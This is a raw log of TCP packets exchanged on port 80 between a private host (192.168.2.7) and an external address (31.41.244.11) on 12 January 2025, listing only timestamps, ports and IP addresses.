Jan 12, 2025 17:39:12.182339907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182348013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182360888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182367086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182416916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182416916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.209979057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210043907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210076094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210095882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210095882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210124016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210139990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210192919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210227013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210238934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210238934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210262060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210309982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210309982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210314035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210349083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210365057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210383892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210407972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210418940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210443020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210452080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210454941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210486889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210520983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210530996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210530996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210555077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210588932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210613966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210613966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210628033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210629940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210659981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210695028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210702896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210702896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210727930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210731030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210762024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210791111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210794926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210823059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210830927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210841894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210863113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210875034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210917950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210932970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.210948944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.210963011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211003065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211005926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211055994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211059093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211092949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211102962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211126089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211159945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211194038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211221933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211221933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211221933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211221933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211246014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211256981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211292982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211338043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211338997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211348057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211385012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211417913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211452007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211462975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211462975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211481094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.211524010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.211524010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.212676048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.212737083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.212744951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.212789059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.212824106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.212833881 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.212833881 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.212877035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.212902069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.212927103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.212934971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.212964058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213012934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213041067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213041067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213054895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213092089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213104010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213104010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213126898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213160992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213195086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213201046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213201046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213202000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213227987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213262081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213273048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213273048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213293076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213325977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213359118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213362932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213362932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213362932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213393927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213416100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213426113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213462114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213480949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213481903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213490009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213525057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213531971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213531971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213558912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.213602066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.213602066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.266922951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.266969919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267028093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267066002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267101049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267136097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267168999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267170906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267170906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267170906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267204046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267204046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267204046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267239094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267258883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267271996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267302036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267333031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267333031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267333031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267357111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267390966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267424107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267461061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267469883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267469883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267493010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267550945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267589092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267594099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267594099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267594099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267638922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267641068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267669916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267695904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267704010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267721891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267755032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267788887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267829895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267829895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267829895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267843962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267877102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267929077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267956018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267956018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.267960072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.267971039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268011093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268048048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268057108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268057108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268088102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268100023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268136978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268192053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268199921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268199921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268229008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268234968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268280983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268286943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268322945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268332958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268371105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268393993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268405914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268439054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268472910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268477917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268477917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268477917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268506050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268538952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268572092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268573999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268573999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268573999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268604994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268634081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268661022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268661022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268666983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268688917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268707991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268740892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268774986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268778086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268778086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268778086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268810987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268845081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268868923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268868923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268877029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268908978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268913984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268943071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268976927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.268986940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268986940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.268986940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269010067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269059896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269099951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269108057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269108057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269108057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269134045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269164085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269176006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269176006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269198895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269233942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269237041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269237041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269268036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269299984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269301891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269326925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269336939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269337893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269375086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.269391060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.269428968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296278954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296339989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296391010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296423912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296475887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296509027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296519995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296519995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296561956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296595097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296710968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296725988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296725988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296725988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296763897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296796083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296808004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296808004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296828985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296863079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296895027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296900988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296900988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296900988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.296930075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.296963930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297005892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297005892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297005892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297019958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297050953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297101021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297108889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297108889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297157049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297203064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297203064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297209024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297241926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297291040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297293901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297293901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297323942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297353029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297391891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297391891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297486067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297519922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297549009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297581911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297590017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297590017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297615051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297647953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297683001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297686100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297686100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297686100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297715902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297751904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297755003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297755003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297780991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297812939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297846079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297848940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297848940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297848940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297878981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297911882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297945976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.297950029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297950029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297950029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.297982931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298016071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298051119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298054934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.298054934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.298054934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.298465967 CET	49975	80	192.168.2.7	31.41.244.11
